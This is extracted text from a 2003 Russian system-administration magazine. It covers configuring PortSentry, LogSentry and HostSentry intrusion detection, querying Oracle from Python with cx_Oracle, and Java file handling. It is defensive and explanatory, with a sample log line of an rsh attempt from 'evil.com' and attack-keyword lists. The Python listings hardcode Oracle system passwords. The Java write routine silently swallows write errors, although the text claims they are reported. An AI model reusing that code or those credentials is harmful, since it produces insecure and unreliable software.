Последняя строка указывает на счастливый запуск утилиты, если ее нет, то что-то сделано неправильно. При этом могут быть следующие специфические сообщения: adminalert – это сообщение выводит текущий статус PortSentry. securityalert – сообщение о том, что некое защитное событие произошло. attackalert – компьютер был атакован и соответствующие данные занесены в /etc/host.deny. В первой же версии программы использовалось шесть режимов по три на каждый протокол (TCP и UDP): portsentry -tcp (basic port-bound TCP mode) portsentry -udp (basic port-bound UDP mode) portsentry -stcp (Stealth TCP scan detection) portsentry -atcp (Advanced TCP stealth scan detection) portsentry -sudp («Stealth» UDP scan detection) portsentry -audp (Advanced «Stealth» UDP scan detection)


безопасность Для каждого протокола может запускаться только один выбранный режим. В режиме basic открываются описанные в файле portsentry.conf контролируемые порты и при попытке соединиться с ними происходит блокировка, при этом PortSentry не реагирует на Stealth-сканирование. Режим Stealth отличается от предыдущего тем, что не держит порты открытыми, и атакующий получает достоверную информацию об используемых портах, а также выявляет практически все виды Stealth-сканирования. Режим Advanced является самым быстрым и рекомендуется разработчиками (во второй версии используется именно этот режим совместно со Stealth). При этом контролируются все порты ниже значений ADVANCED_PORTS_TCP и ADVANCED_EXCLUDE_UDP.

LogSentry В системных журналах имеется довольно ценная информация, так как любое событие оставляет там свой след, но большинство системных администраторов заглядывают туда один-два раза в неделю, иногда даже вручную, что, согласитесь, очень утомительно. Утилита Logsentry (или logcheck) как раз и предназначена для автоматической проверки системных журналов на предмет нарушений безопасности и других необычных действий, таким образом немного облегчая труд. Берет свою родословную от скрипта frequentcheck.sh, входящего в состав firewall Gauntlet компании Trusted Information Systems Inc. (http://www.tis.com). Сценарий logcheck запускается при помощи демона cron, при этом программа при помощи утилиты grep проверит системные журналы на предмет наличия определенных ключевых слов, и в случае наличия их в файле сисадмин получит извещение по почте. Чтобы не проверять каждый раз все файлы полностью, для запоминания последней прочитанной в журнале позиции Logcheck использует программу, называемую logtail, которая запоминает ее и использует эту позицию на последующем шаге, чтобы обработать новую порцию информации. При этом в каталоге с лог-файлами появятся еще несколько файлов хххххх.offset, где хххххх – название логфайла; если удалить его, утилита начнет проверять логфайл опять сначала. Также утилита контролирует номер inode и размер лог-файла; при уменьшении размера или изменении номера inode счетчик сбрасывается и файл проверяется сначала. Поэтому можно не беспокоиться при удалении лог-файлов (точнее, переносе на резервный носитель), когда они разрастутся. Инсталляция программы очень проста, распаковываем архив. # tar xfzv logsentry-1.1.1.tar.gz

И заходим в каталог (да, название немножко изменилось). # cd logcheck-1.1.1

И теперь вводим команду mаке с указанием используемой операционной системы, например для Linux. # make linux

№7(8), июль 2003

После этого скомпилированная программа logtail вместе со вспомогательными файлами скопируется в каталоги, указанные в переменных INSTALLDIR_BIN, INSTALLDIR и INSTALLDIR_SH. По умолчанию это подкаталоги /usr/local/bin, /usr/local/etc и /usr/local/etc. Кроме основного скрипта logcheck.sh и программы logtail, в комплекте идут несколько вспомогательных файлов. Файл logcheck.hacking содержит ключевые слова (вроде LOGIN root REFUSED или attackalert от Portcentry), появление которых в лог-файлах может свидетельствовать только об одном – компьютер атакован, т.е. если такое слово будет обнаружено, то суперпользователь получит сообщение, которое просто не сможет не привлечь его внимания: «ACTIVE SYSTEM ATTACK». А файл logcheck.violations содержит набор слов, свидетельствующих, как правило, о каком-либо негативном действии (например, failed, denied и даже su root). Например, сравните следующие два сообщения: Jun

4 09:00:32 grinder sendmail[5475]: VAA05473: ↵ to=crowland, ctladdr=root (0/0), delay=00:00:02, ↵ xdelay=00:00:01, mailer=local, stat=refused

Jun

4 09:00:32 grinder rshd: ↵ refused connect from hacker@evil.com:1490

Первая строка указывает на довольно обычную житейскую ситуацию с sendmail, отдаленный компьютер отказался от подключений, т.е. слово refused к нашему случаю не имеет абсолютно никакого отношения. А вот в следующей некто с hacker@evil.com пробовал запускать rshсеанс на компьютере, это как раз наш случай (rshd приведен только для примера, использование его на компьютере, по-моему, плохая идея) и опять присутствует слово refused. Для того чтобы события, подобные первому, не отвлекали в файл logcheck.violations.ignore, добавляем строку, наличие которой заставит logsentry проигнорировать событие. В нашем случае это будет: mailer=local, stat=refused

Но с занесением данных в этот файл надо быть осторожным, чтобы не пропустить важное. По умолчанию в нем содержится только одна строка stat=Deferred, позволяющая игнорировать сообщения grep. Чтобы иметь возможность искать некоторые слова и не сообщать об их наличии, предназначен файл logcheck.ignore. Поиски по ключевым словам в файлах logcheck.hacking и logcheck.violations, чтобы гарантировать, что ничего не пропущено, нечувствительны к регистру. А в файлах logcheck.violations.ignore и logcheck.ig-nore, наоборот, чувствительны к регистру, чтобы гарантировать 100% попадание и не пропустить что-нибудь интересное. Все *.ignoreфайлы требуют точного текста. Теперь необходимо сделать так, чтобы все сообщения системы записывались в один файл /var/log/messages. Для этого открываем в любимом редакторе /etc/syslog.conf. Он имеет приблизительно такую структуру: в левой части через точку с запятой перечисляются системные события, а в правой – файл или устройство (что для Unix одно и то же), в которое сообщение, соответствующее

47


безопасность данному событию, будет выводиться. Т.е. необходимо просто собрать все записи, которых нет в левой части, соответствующей /var/log/messages со всех таких событийных частей и дописать их (это в самом простом случае, либо почитайте man syslog.conf). Например, в RedHat 9 у меня такая строка: *.info;mail.none;authpriv.none;cron.none;uucp,news.crit ↵ /var/log/messages

После этого на всякий случай устанавливаем новые права доступа к файлу /var/log/messages: # chown root.wheel /var/log/messages # chmod 600 /var/log/messages

Аналогично устанавливаем права для logcheck.sh и logtail: # # # #

chown chmod chown chmod

root.wheel /usr/local/etc/logcheck.sh 600 /usr/local/etc/logcheck.sh root.wheel /usr/local/bin/logtail 700 /usr/local/bin/logtail

После всего загляните в скрипт logcheck.sh и измените значения переменных SYSADMIN (пользователя, которому будет высылаться e-mail), а также MAIL и LOGTAIL в соответствии с вашей системой (в последнем случае достаточно закомментировать одни и раскомментировать другие строки). Для начала, чтобы убедиться, что все работает нормально, запускаем скрипт logcheck.sh вручную, причем желательно несколько раз, чтобы удостовериться в том, что вы не получаете одни и те же сообщения. Если это так, то что-то не в порядке с logtail, попробуйте запустить ее вручную и посмотрите наличие файлa *.offset. Проблемы здесь могут быть две: или программа запукается не от имени root, или придется перекомпилировать. И теперь, когда все в порядке, заносим в файл /etc/crontab приблизительно такие строки (для каждой системы свои), при этом демон cron должен быть, естественно, запущен. 00 * * * * root /bin/sh /usr/local/etc/logcheck.sh

И теперь каждый час запускается logcheck.sh, которая запускает в свою очередь logtail: logtail анализирует log-файлы с последней запомненной позиции; logcheck при помощи grep проверяет оставшийся текст на наличие сообщений о возможной атаке; при помощи grep проверяются все возможные негативные сообщения; на следующем шаге отбираются из них те, которые нужно проигнорировать (logcheck.violations.ignore); все сообщения, которые нужно проигнорировать, заносятся в logcheck.ignore; после всего этого сисадмин получает e-mail с оставшимися сообщениями. Еще одна проблема может возникнуть с использованием утилиты logsentry. Связана она с локализацией. Дело в том, что в большинстве дистрибутивов local устанавливается автоматически по используемому основ-

48

ному языку системы. Естественно, после того как переменная LANG будет равняться KOI8-R, все сообщения будут выводиться на русском языке (и запись в лог-файлы также), дополнительно в последнее время обострилась ситуация с продвижением единой кодировки Unicode, т.е. в RedHat 8.0 и 9 LANG=«ru_RU.UTF-8». Logcenry в этом случае ничегошеньки (или почти) не найдет. И все потому, что все шаблоны записаны на английском. Поэтому лучше всего использовать PanEuropean version, т.е. когда сообщения выводятся на английском (в AltLinux сейчас примерно так все и работает). Для этого в файле /etc/sysconfig/i18n меняем соответствующие строки на: LANG="en_US" SYSFONT="Cyr_a8x16" SYSFONTACM="koi2alt"

Остальные можно оставить как есть. После этого проблем уже быть не должно.

HostSentry И последняя, самая молодая, утилита HostSentry. Представляет собой инструмент обнаружения вторжения, основанный на технологии Login Anomaly Detection (LAD), который определяет подозрительные действия при входе в систему и позволяет быстро выявлять скомпрометированные пользовательские аккаунты и необычное поведение. HostSentry включает динамическую базу данных и фактически изучает поведение входа в систему пользователя. Это поведение используется модульными сигнатурами, чтобы обнаружить необычные действия. Прошу обратить внимание на словосочетание «при входе в систему», если компьютер уже скомпрометирован, и взломщик уже имеет легальный вход в систему, здесь уже помочь будет трудно, а вот когда делаются первые шаги, применение HostSentry будет как раз к месту. При этом необходимо помнить, что обнаружив ее, злоумышленник также может подменить утилиту. При этом HostSentry определяет: необычные действия при входе в систему; подозрительные домены, с которых осуществляется вход; подозрительные каталоги пользователей; обнаруживает вмешательство в файлы истории команд и входа в систему; неизвестные входы в систему; имеет расширяемые модули сигнатур. Когда HostSentry находит проблему, то она регистрирует событие, в дальнейшем дополнительно планируется обеспечить следующее: автоматически отключать учетную запись и выгонять уже зарегистрированного пользователя-нарушителя, блокировать IP-адрес компьютера нарушителя или удалять маршрут из маршрутной таблицы, но пока это все в проекте. Программа полностью написана на объектно-ориентированном интерпретируемом языке Python, в большинстве современных дистрибутивов он уже имеется, если же нет, то первоначально необходимо его установить, взяв с домашней страницы http://www.python.org. После этого ус-


безопасность тановка HostSentry проблем вызвать не должна, просто распаковываем архив, заходим в образовавшийся каталог и вводим make install, после чего все необходимые файлы будут просто перенесены в каталог /usr/local/ abacus/hostsentry (на него указывает переменная INSTALLDIR в Makefile). В файле hostsentry.conf устанавливаются пути к модулям, используемым утилитой, базам данных, необходимым для сбора информации, переменная WTMP_FILE должна указывать на wtmp-файл (для Linux обычно /var/ log/wtmp) и некоторым другим файлам, о них ниже. Единственная переменная, на которую можно обратить внимание поначалу (остальные можно не трогать, а оставить как есть, хотя базы данных я бы переместил в каталог /var, где и положено им быть) – это WTMP_FORMAT, в которой устанавливается формат сохранения информации о логинах. Вся проблема здесь в том, что учет параметров входа в систему (Name, TTY, Time, Host) в различных реализациях Unix ведется по-разному, например, имя хоста в BSD урезается до 16-32 байт, в RFC 1034 имя ограничено 256 символами, а в переменной MAXDNAME (arpa/nameser.h) имя узла ограничено 1024 символами. Это приводит к тому, что если нападавшим использовано длинное имя, то оно наверняка урежется (подробности в README.wtmp). Так вот в WTMP_FORMAT и устанавливается формат, чтобы обеспечить запись необходимых данных применительно к используемой системе (в простейшем случае необходимо будет раскомментировать соответствующую строчку, в будущем планируется максимально автоматизировать процесс). В файле hostsentry.modules описывается, какие модули должны выполняться при регистрации пользователя в системе и при logout. В большинстве случаев можно оставить как есть. При необходимости сменить очередность выполнения модулей, их нужно просто переместить вверх/ вниз. В файл hostsentry.ignore заносятся пользователи, которых не нужно отслеживать при помощи HostSentry, это может быть полезно, например, для пользователей типа «ftp», который обнаруживается в wtmp и вызывает большое количество ложных тревог из-за анонимного доступа (при этом все равно в базу данных пользователь будет включен). Для этого нужно просто разместить исключаемых пользователей по одному в строке (и надо заглядывать в него периодически, чтобы там не оказался root). Файл hostsentry.action описывает действия, которые должна предпринимать утилита, пока она только регистрирует залогинившихся пользователей. Теперь можно и запускать (для автоматического старта вместе с системой нужно включить эту строку в файл rc.local).

После первого запуска образуются две базы данных: hostsentry.db, содержащая записи обо всех пользователях, которые регистрировались с тех пор, пока HostSentry был в действии, и hostsentry.tty.db об используемых (активных) терминалах. В пользовательской базе данных хранятся объекты входа в систему пользователя, которые сформированы со следующей схемой: username – имя входящего в систему пользователя; recordCreated – дата начала записи в Unix-формате; firstLogin – первый вход в систему для этого пользователя; trackLogins – список входов в систему этого пользователя (будет постоянно расти); validLoginDays – дни, когда данному пользователю разрешено регистрироваться в системе; validLoginHours – часы, когда пользователю разрешено регистрироваться; adminDisabled – флаг, указывающий на то, что данная запись была отключена администратором; securityDisabled – флаг, указывающий на то, что данный пользователь был лишен возможности регистрироваться модулем программы; totalLogins – общее количество регистраций для данного пользователя; version – версия схемы базы данных. База данных терминалов помогает HostSentry поддержать список активных подключений и позволяет программе знать, когда пользователь регистрировался. Поскольку эти данные не используются между включениями, она обнуляется каждый раз при перезапуске HostSentry. При этом отслеживаются следующие элементы: tty – TTY, с которого зарегистрировался пользователь; username – имя пользователя; loginStamp – уникальный timestamp для login; version – версия схемы базы данных. В loginStamp заносится информация, необходимая для обработки компонентами системы и формируется следующим образом: loginIP@loginHostname@loginTTY@loginTime@logoutTime

Где:

LoginIP – IP-адрес пользователя при регистрации; LoginHostname – имя хоста (полностью уточненное при помощи DNS);

LoginTTY – TTY пользователя; LoginTime – время входа в систему в Unix-формате; LogoutTime – время выхода из системы в Unix-формате.

# python hostsentry.py

При этом в файле /var/log/messages должны появиться такие строки. 8 18:26:42 grinder hostSentry[23306]: adminalert: ↵ HostSentry version 0.02 is initializing. Jun 8 18:26:42 grinder hostSentry[23306]: adminalert: ↵ Send bug reports to <crowland@psionic.com> Jun 8 18:26:43 grinder hostSentry[23460]: adminalert: ↵ HostSentry is active and monitoring logins. Jun

№7(8), июль 2003

Если попробовать теперь зарегистрироваться, то дополнительно появится сообщение, в котором указывается кто, когда, откуда и какие модули были выполнены. 8 18:30:19 grinder -- sergej[1639]: ↵ LOGIN ON tty1 BY sergej Jun 8 18:30:20 grinder hostSentry[23460]: securityalert: ↵ LOGIN User: sergej TTY: tty1 Host: Jun 8 18:30:20 grinder hostSentry[23460]: securityalert: ↵ First time login for user: sergej Jun

49


безопасность Jun 8 18:30:20 grinder hostSentry[23460]: securityalert: Action being taken for user: sergej Jun 8 18:30:20 grinder hostSentry[23460]: securityalert: Module requesting action is: moduleFirstLogin Jun 8 18:30:20 grinder hostSentry[23460]: securityalert: Action complete for module: moduleFirstLogin Jun 8 18:30:21 grinder hostSentry[23460]: securityalert: Foreign domain login detected for user: sergej from: Jun 8 18:30:21 grinder hostSentry[23460]: securityalert: Action being taken for user: sergej Jun 8 18:30:21 grinder hostSentry[23460]: securityalert: Module requesting action is: moduleForeignDomain Jun 8 18:30:21 grinder hostSentry[23460]: securityalert: Action complete for module: moduleForeignDomain

moduleFirstLogin – единственная цель этого модуля –

предупреждение администратора, когда пользователь входит в систему первый раз после запуска HostSentry, т.е. когда пользователь ввел пароль и получил Unix shell. Может, это и есть наш Вася Пупкин, а может и нет; во всяком случае, администратору будет интересно узнать, зачем бухгалтеру интерактивная оболочка; moduleForeignDomain – очень часто нападающие, скомпрометировавшие какую-то учетную запись, входят в систему с домена, которому, в общем-то, нечего делать на вашем компьютере. Если такой домен не перечислен в файле moduleForeignDomain.allow, то он причисляется к подозрительным, и администратор получает предупреждение. Примечание: из-за ограничений в некоторых системах, связанных с максимально хранимым именем хоста, о чем говорилось выше, данный модуль может давать противоречивые результаты, в этом случае, скорее всего, придется данный модуль отключить, для информации загляните в файл utmp.h заголовка ядра (в RedHat максимальное число – 256, что является вполне достаточным); moduleHistoryTruncated – модуль при регистрации проверяет файл историй используемого командного интерпретатора, прописанного в /etc/passwd (поддержаны bash, csh и tcsh). Тревожный сигнал выдается, если файл не существует или нулевого размера, или это символическая ссылка на /dev/null; moduleLoginLogout – просто регистрирует, когда пользователь входит и выходит из системы.

↵ ↵ ↵ ↵ ↵

При этом сообщение securityalert не пройдет еще и мимо Logcentry. Теперь требуется некоторое время, чтобы детектор аномалий изучил то, как пользователи обычно действуют при входе в систему, постепенно количество сообщений будет уменьшаться, но зато когда бухгалтер Вася Пупкин, работавший обычно из соседнего офиса, и не знающий вообще, что такое Unix, попытается вдруг зарегистрироваться из Китая, то администратор будет предупрежден. Список модулей, применяемых в HostSentry: moduleOddDirnames – скорее, вспомогательный модуль, проверяет домашний каталог пользователя. Обычно хакеры пытаются скрыть свое пребывание в системе и каталоги называют «.. » , «...». Вот это и пытается выяснить данный модуль; moduleRhostCheck – этот модуль проверяет пользовательский .rhosts-файл при выходе из системы, и если в нем содержатся постановочные знаки (“+”), это будет зарегистрировано, и администратору можно будет заняться исследованием (использование r-сервисов – плохая идея); moduleMultipleLogins – все просто, если пользователь несколько раз одновременно зарегистрировался на компьютере, то он (компьютер) уже, скорее, взломан и администратора об этом предупредят;

50

Вот такой вот набор TriSentry. Ничего сверхъестественного, но все работает отменно, автоматизирует процесс администрирования системы и позволяет предупредить сисадмина о начале неприятностей.



программирование

Python глазами DBA

ОЛЕГ ПОПОВ Почему, собственно, Python Администраторы БД очень часто нуждаются в инструментах для автоматизации разной рутинной работы, например: загрузка, преобразования данных в разного рода форматы или сбор и анализ различной статистики. Для меня в свое время такой палочкой-выручалочкой стал Perl. Через некоторое время я набрел на Python. Что я могу сказать после года знакомства: практичный и полезный инструмент. Достоинства языка Python: Многоплатформенность и масштабируемость: работает на большинстве известных программно-аппаратных платформ от PDA до CRAY и IBM 390. Гармоничная архитектура языка: Простой и удобный для понимания логики программ синтаксис. Встроенные структуры данных: списки, кортежи, словари.

52

Огромное количество библиотек: XML-парсеры; GUI (Win32, GTK/GNOME, KDE/QT, TK, FOX, WXWindows);

Сетевые протоколы; Разработка веб-приложений.

Переносимость кода между различными платформами.

Мощные интерфейсы к конкретным ОС (особенно к Linux/Unix и win32).

Поддержка разных стилей программирования: процедурного, объектного, функционального.

Встроенная поддержка Unicode и множества

национальных кодировок (включая 5 русских).

Возможность писать самодокументированные

программы и автоматическая генерация документации на модули.

ОЛЕГ ПОПОВ


программирование С чем в действительности сталкивается программист при использовании Python – это простой и ясный синтаксис. Я ловлю себя часто на мысли, что просмотр чужого кода зачастую не требует значительного напряжения. И здесь помогает то, что отступы являются частью синтаксиса и определяют вложенность операторов. Библиотеки зачастую имеют очень лаконичную документацию, но этого достаточно, так как API очень выразительны и внятны. Сам процесс кодирования и тестирования достаточно комфортен. Здесь помогает качественная диагностика ошибок. Оттестированные модули очень легко расширять и складывать из них приложения. Для работы с RDBMS Oracle существует несколько различных модулей для Python, использующих разные механизмы: ODBC (Win32, Linux) DCOM (Win32) PERL_DBI (Win32, Linux, Solaris, HP-UX, AIX) NATIVE API (Win32, Linux, Solaris, HP-UX, AIX) Более подробную информацию вы можете найти на www.python.org.

Выполняем простой запрос Я предпочитаю использовать модуль cx_Oracle, который был проверен мною в ОС NT и Linux (автор Anthony Tuininga утверждает, что он работает в Solaris и, похоже, на всех Unix-подобных ОС должен также работать). В основном этот модуль следует спецификации Python Database API 2.0 и поддерживает работу с RDBMS Oracle версий 8.1-9.xx. Для быстрого погружения в предмет я приведу фрагменты кода, демонстрирующего основные приемы использования модуля. try: import cx_Oracle except ImportError,info: print "Import Error:",info sys.exit() if cx_Oracle.version<'3.0': print "Very old version of cx_Oracle :",cx_Oracle.version sys.exit()

В этом фрагменте демонстрируется безопасная загрузка модуля cx_Oracle и проверка версии. (Надеюсь, элегантность синтаксиса все-таки заметили). Далее создадим экземпляр класса connect – именно этот объект и обеспечивает взаимодействие с сервером Oracle. try: my_connection=cx_Oracle.connect('system/manager@test_db') except cx_Oracle.DatabaseError,info: print "Logon Error:",info exit(0)

Теперь создаем курсор и выполняем запрос: my_cursor=my_connection.cursor() try: my_cursor.execute("""

№7(8), июль 2003

SELECT OWNER,SEGMENT_TYPE,TABLESPACE_NAME,SUM(BLOCKS)SIZE_BLOCKS, COUNT(*) SIZE_EXTENTS FROM DBA_EXTENTS GROUP BY OWNER,SEGMENT_TYPE,TABLESPACE_NAME """) except cx_Oracle.DatabaseError,info: print "SQL Error:",info

Печатаем результат на stdout. Замечу здесь, что my_cursor.description возвращает описание столбцов запроса в виде списка кортежей. Для каждого столбца возвращаются следующие данные: (name, type_code, display_size, internal_size, precision, scale, null_ok). Далее следует форматированный вывод на stdout (почти как printf в языке C). print print 'Database:',my_connection.tnsentry print print "Used space by owner, object type, tablespace " print "-------------------------------------------------" title_mask=('%-16s','%-16s','%-16s','%-8s','%-8s') i=0 for column_description in my_cursor.description: print title_mask[i]%column_description[0], i=1+i print '' print "-------------------------------------------------" row_mask='%-16s %-16s %-16s %8.0f %8.0f ' for recordset in my_cursor.fetchall(): print row_mask%recordset

В результате мы увидим что-то вроде: Database: testdb Used space by owner, object type, tablespace ------------------------------------------------------------OWNER SEGMENT_TYPE TABLESPACE_NAME SIZE_BLOCKS SIZE_EXTENTS ------------------------------------------------------------ADU2 INDEX USERS 784 25 ADU2 TABLE USERS 512 24 ADUGKS INDEX DEVELOP_DATA 984 123 ADUGKS TABLE DEVELOP_DATA 664 83 ADUGPA INDEX USERS 784 25 ADUGPA TABLE USERS 496 23 AGNKS_SG INDEX USERS 352 22 AGNKS_SG TABLE USERS 240 15 ATU INDEX USERS 3968 244 ATU TABLE DEVELOP_DATA 8 1 ATU TABLE USERS 2688 160 ATU1 INDEX DEVELOP_DATA 1600 200 ATU1 INDEX USERS 608 38 ATU1 TABLE DEVELOP_DATA 1032 129 ATU1 TABLE USERS 544 34 BUX INDEX DEVELOP_DATA 64 8 BUX TABLE DEVELOP_DATA 1736 217 DISP INDEX USERS 400 25 DISP TABLE USERS 528 33 EPE INDEX USERS 80 5 EPE TABLE USERS 48 3 EXZ INDEX USERS 1088 61 EXZ TABLE DEVELOP_DATA 8 1 EXZ TABLE USERS 832 41

Запросы с параметрами Согласно спецификации Python Database API 2.0 для выполнения запросов с параметрами каждый модуль должен реализовывать переменную paramstyle, которая определяет, каким образом будут передаваться параметры запросов. Текущая версия cx_Oracle(3.0) поддерживает режим 'named', то есть в модуле установлена переменная cx_Oracle.paramstyle='named' и можно создавать конструкции в запросах в виде: select *

from all_users where USERNAME LIKE :S

53


программирование При этом связывание параметров запроса со значениями можно выполнить двумя способами. Именованый параметeр метода exec: cursor2.execute("select * from all_users where ↵ USERNAME LIKE :S ",S='S%')

except cx_Oracle.DatabaseError,info: print "SQL Error:",info exit(0)

Очевидно, что теперь var содержит текущее время сервера. Доступ к значениям переменной выполняется с помощью метода var.getvalue():

Словарь {':переменная':значение,...}: cursor2.execute("select * from all_users where ↵ USERNAME LIKE :S ",{':S':'S%'})

Анонимные блоки PL/SQL В некоторых случаях очень удобно использовать нестандартные средства сервера: для Oracle таким нестандартным, но очень удобным механизмом является возможность исполнения анонимных блоков PL/SQL. Модуль сx_Oracle реализует этот механизм, который, естественно, не описан в спецификации Python Database API 2.0. Чтобы связать переменные блока PL/SQL c переменными языка Python, в модуле сx_Oracle реализован класс var. Экземпляр можно создать следующим образом: var=my_cursor.var(cx_Oracle.DATETIME)

Конструктор my_cursor.var(...) в качестве параметра требует указать тип создаваемой переменной. Варианты: BINARY DATETIME FIXEDCHAR LONGBINARY LONGSTRING NUMBER ROWID STRING var=my_cursor.var(cx_Oracle.DATETIME) try: my_cursor.execute("""begin SELECT SYSDATE INTO :p_Value from dual; end;""",p_Value = var)

54

CDATE=var.getvalue() print 'Date: %02u/%02u/ %4u'%(CDATE.day,CDATE.month,CDATE.year) print 'Time: %02u:%02u:%02u'%(CDATE.hour,CDATE.minute,CDATE.second)

Этот пример демонстрирует также и форматирование даты и времени для экземпляра var. В результате напечатается нечто вроде: Date: 12/05/2003 Time: 16:42:54

В связи с тем, что работа с типами времени и даты внутри сервера Oracle реализована особенным образом (независимо от ОС), модуль сx_Oracle реализует следующие функции для для преобразования значений дат и времени: Date( year, month, day) DateFromTicks( ticks) Time( hour, minute, second) TimeFromTicks( ticks) Timestamp( year, month, day, hour, minute, second) TimestampFromTicks( ticks) var=my_cursor.var(cx_Oracle.DATETIME) var.setvalue(0,cx_Oracle.Date( 2002, 02,12)) CDATE=var.getvalue() print'Date:%02u/%02u/%4u'%(CDATE.day,CDATE.month,CDATE.year) print'Time:%02u:%02u:%02u'%(CDATE.hour,CDATE.minute,CDATE.second)

Результат будет следующий: Date: 12/02/2002 Time: 00:00:00

Ссылки: http://computronix.com/utilities.shtml http://www.python.org/topics/database/DatabaseAPI-2.0.html


программирование Листинг 1 Выполняем простой запрос

Листинг 2 Запрос с параметрами

"" cx_Oracle demo simple query """ __AUTHOR__='POPOV O.' __COPYRIGHT__='POPOV O. 2002 Samara, Russia' from sys import exit try: import cx_Oracle except ImportError,info: print "Import Error:",info sys.exit()

"" cx_Oracle demo query with parameters """ __AUTHOR__='POPOV O.' __COPYRIGHT__='POPOV O. 2002 Samara, Russia' from sys import exit try: import cx_Oracle except ImportError,info: print "Import Error:",info sys.exit()

if cx_Oracle.version<'3.0': print "Very old version of cx_Oracle :",cx_Oracle.version sys.exit() try: my_connection=cx_Oracle.connect('system/gasdba@sqlmt') except cx_Oracle.DatabaseError,info: print "Logon Error:",info exit(0)

if cx_Oracle.version<'3.0': print "Very old version of cx_Oracle :",cx_Oracle.version sys.exit() try: my_connection=cx_Oracle.connect('system/manager@test_db') except cx_Oracle.DatabaseError,info: print "Logon Error:",info exit(0)

my_cursor=my_connection.cursor() try: my_cursor.execute(""" SELECT OWNER,SEGMENT_TYPE,TABLESPACE_NAME, ↵ SUM(BLOCKS)SIZE_BLOCKS, COUNT(*) SIZE_EXTENTS FROM DBA_EXTENTS GROUP BY OWNER,SEGMENT_TYPE,TABLESPACE_NAME """) except cx_Oracle.DatabaseError,info: print "SQL Error:",info exit(0)

my_cursor=my_connection.cursor() try: my_cursor.execute(""" SELECT OWNER,SEGMENT_TYPE,TABLESPACE_NAME, ↵ SUM(BLOCKS)SIZE_BLOCKS, COUNT(*) SIZE_EXTENTS FROM DBA_EXTENTS WHERE OWNER LIKE :S GROUP BY OWNER,SEGMENT_TYPE,TABLESPACE_NAME """,S='SYS%') except cx_Oracle.DatabaseError,info: print "SQL Error:",info exit(0)

print print 'Database:',my_connection.tnsentry print print "Used space by owner, object type, tablespace " print "--------------------------------------------------" title_mask=('%-16s','%-16s','%-16s','%-8s','%-8s') i=0 for column_description in my_cursor.description: print title_mask[i]%column_description[0], i=1+i print '' print "--------------------------------------------------" row_mask='%-16s %-16s %-16s %8.0f %8.0f ' for recordset in my_cursor.fetchall(): print row_mask%recordset for column_description in my_cursor.description: print column_description

print print 'Database:',my_connection.tnsentry print print "Used space by owner, object type, tablespace " print "---------------------------------------------------" title_mask=('%-16s','%-16s','%-16s','%-8s','%-8s') i=0 for column_description in my_cursor.description: print title_mask[i]%column_description[0], i=1+i print '' print "----------------------------------------------------" row_mask='%-16s %-16s %-16s %8.0f %8.0f ' for recordset in my_cursor.fetchall(): print row_mask%recordset

№7(8), июль 2003

55


программирование

JAVA: РАБОТА С ФАЙЛАМИ

ДАНИИЛ АЛИЕВСКИЙ 56


программирование Средства для работы с файлами – одно из немногих слабых мест системы библиотек языка Java. Файловые библиотеки появились в самых первых версиях Java и были ориентированы на операционные системы того времени, главным образом на Unix. С тех пор операционные системы ушли далеко вперед, а области применения Java чрезвычайно расширились. Например, для текстовых файлов стали популярны форматы Unicode (16-битовые, UTF-8). Файловая иерархия в мире Windows резко усложнилась – появились такие понятия, как «Desktop», «My Computer», «My Documents». По соображениям совместимости фирма Sun была вынуждена сохранять старые классы и интерфейсы, дополняя их новыми. Получилась довольно запутанная система. В итоге правильная организация работы с файлами в современной Javaпрограмме может оказаться достаточно непростой задачей. В этой статье мы попытаемся рассмотреть наиболее типичные задачи, возникающие при работе с файлами, и предложить по возможности правильные способы их решения. Все приведенные решения являются фрагментами готовых отлаженных библиотек.

Чтение и запись бинарного файла Самая простая задача – прочитать некоторый файл в виде массива байт, и наоборот, записать массив байт обратно в файл. Это одна из немногих задач, решаемых стандартными библиотеками вполне очевидным способом. Основную трудность здесь представляет корректная обработка исключений. К сожалению, в большинстве учебников по Java предлагаются не вполне корректные решения, чреватые в случае ошибки «утечкой» ресурсов системы (файл остается незакрытым) или потерей информации об исключении. Вот пример возможного решения. Чтение файла: public static byte[] loadFileAsBytes( String fileName) throws IOException { return loadFileAsBytes(new File(fileName)); } public static byte[] loadFileAsBytes( File file) throws IOException { byte[] result= new byte[(int)file.length()]; loadFileAsBytes(file,result); return result; } public static void loadFileAsBytes(File file, byte[] buf) throws IOException { loadFileAsBytes(file,buf,0,buf.length); } public static void loadFileAsBytes( File file, byte[] buf, int off, int len) throws IOException { FileInputStream f= new FileInputStream(file); try { f.read(buf,off,len); } finally { try {f.close();} catch (Exception e) {}; } }

Используется вариант FileInputStream байтового потока InputStream.

№7(8), июль 2003

Обратите внимание: если файл удалось открыть (конструктор FileInputStream успешно сработал), то мы закрываем файл в любом случае, даже если процесс чтения оборвался из-за исключения. Однако исключения в процессе закрытия файла мы игнорируем. Действительно, если предыдущее чтение произошло безошибочно, т.е. мы успешно прочитали весь файл, то на невозможность закрыть файл можно не обращать внимания (тем более, что ошибка на этом этапе чрезвычайно маловероятна). Если же исключение произошло в процессе чтения, то, очевидно, оно представляет больший интерес, чем ошибка при попытке закрыть файл. Значит, «наружу» следует выдать именно исключение, связанное с чтением. Если бы мы не проигнорировали исключения при закрытии файла, то мы, в соответствии с известным неудобным свойством Java, рисковали бы «потерять» исключение при чтении файла в методе f.read(). Обращение к методу length() во втором варианте функции loadFileAsBytes достаточно «безопасно». Этот метод не порождает исключений, а при отсутствии файла или других возможных проблемах просто возвращает 0, что в данном контексте не приведет ни к чему плохому. Запись файла: public static void saveFileFromBytes( String fileName, byte[] buf) throws IOException { saveFileFromBytes(new File(fileName),buf); } public static void saveFileFromBytes( File file, byte[] buf) throws IOException { saveFileFromBytes(file,buf,0,buf.length); } public static void saveFileFromBytes( File file, byte[] buf, int off, int len) throws IOException { FileOutputStream f= new FileOutputStream(file); try { f.write(buf,off,len); } catch (IOException e) { try {f.close();} catch (Exception e1) {}; return; } f.close(); }

Используется вариант FileOutputStream байтового потока OutputStream. Здесь обработка исключений несколько сложнее, чем в случае чтения. Дело в том, что операционная система или реализация FileOutputStream для конкретной платформы могут кэшировать операции с диском. Например, данные, посылаемые в файл методом f.write(), могут на самом деле накапливаться в некотором буфере, и только при закрытии файла действительно записываться на диск. Это означает, что потенциальные ошибки на этапе закрытия файла столь же важны, что и ошибки в процессе работы метода f.write(). Игнорировать их, как мы делали в случае чтения, нельзя. Приведенное выше решение игнорирует ошибки на этапе закрытия файла только в том случае, если какие-то ошибки уже имели место при записи методом f.write() – последние в любом случае окажутся не менее информативными. Если же метод f.write() отработал безошибочно, то закрытие

57


программирование файла выполняется вне каких-либо блоков try/catch, возможные исключения на этом этапе будут переданы наружу.

